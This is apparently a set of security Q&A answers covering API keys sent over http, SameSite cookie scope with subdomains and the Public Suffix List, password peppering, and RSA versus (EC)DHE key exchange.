There's one pretty major issue that's immediately apparent, but may be an artifact of your development environment: the request is transmitted over plain ol' http, which means the API key is available to anyone performing a man-in-the-middle attack.

The solution for this, of course, is to only ever make these sorts of requests over https. You can't control what your users do (after all, they could just publish their key on the web), but you can strongly encourage this behaviour. Possible ways to do this include:

ensuring all your examples use https
big fat warnings in the documentation
returning an error page, rather than a redirect, when an API request is sent over http
enabling hsts for your domain (although I don't think this will have any effect on custom curl-based programs)

As mentioned in comments, moving the key into the request body will prevent it from showing up in your access logs, which may be treated with less security rigor than your database.

Personally, your keys seem too short to me. They're used by programs, not humans, so there's no reason not to have a much longer key length that's far beyond what you might imagine to be guessable (remember that an attacker doesn't need to guess a specific key, but just any that is valid).


For SameSite cookie with subdomains what are considered the same site?

The 'Site' in SameSite refers to a the combination of second level domain mysite.com and top level domain mysite.com.

  This means that a requests from login.mysite.com to cdn.mysite.com
  would be considered a same-site request.

BUT... as you might imagine it does not end there. There is the Public Suffixes List which slightly changes this validation behavior.

Why? Well, because there are a number of sites where end users, and not the registrar or domain owner, control part of the domain (the sub-domain).
E.g. my-site.azurewebsites.net.

From a privacy and security perspective cookies scoped to my-site.azurewebsites.net should definitely not be sent to your-site.azurewebsites.net. And, since there is no algorithmic way for your browser to determine if a particular URL is of this type, the Public Suffixes List was created for browsers to change their same-site validation behavior. Hence, azurewebsites.net is listed on the Public Suffixes List.

  So, for sites on the Public Suffixes List a request from
  my-site.azurewebsites.net to your-site.azurewebsites.net would be
  considered cross-site.


Would appending junk data to user passwords before hashing affect security?

What you are proposing is called pepper. It's another type of salt, but it is not stored. This will not help much, because according to Kerckhoffs's principle, you must assume the attacker knows everything on your system, except the key. In this particular case, assume the attacker can read every single file, every record on the database and every log. He only don't know the user's passwords.

If your system is open for registration, the attacker could even register himself, read the database, get his own hashed password, and bruteforce the secret string. If the string is the same for every hash, as soon as he discover the secret string for his password, all your million users are compromised as well.

You can't plan security based on something that immediately loses all usability forever once is broken. As soon as the secret string is discovered, all your passwords are vulnerable and you cannot just change it. You will have to wait all users to login, get the cleartext passwords for each one, change the secret string, and re-hash it. It can take months or years for all your users re-login. Unless, of course, you go full hardcore insecure mode and store the cleartext passwords somewhere too.

You will increase the security by using a strong hashing function, and adding more rounds on the hashing process, not by adding anything on the password, or hash, or both.


You've just described RSA key exchange, which was used in the past. These days, (EC)DHE is much more commonly used. The main reason is that (EC)DHE has the added benefit of providing forward secrecy. This basically means that if the private key is compromised at some later date, it will not compromise the security of previous communications. This is not achievable with the RSA key exchange method you describe.
See this question for more details on the advantages and disadvantages of using DHE or RSA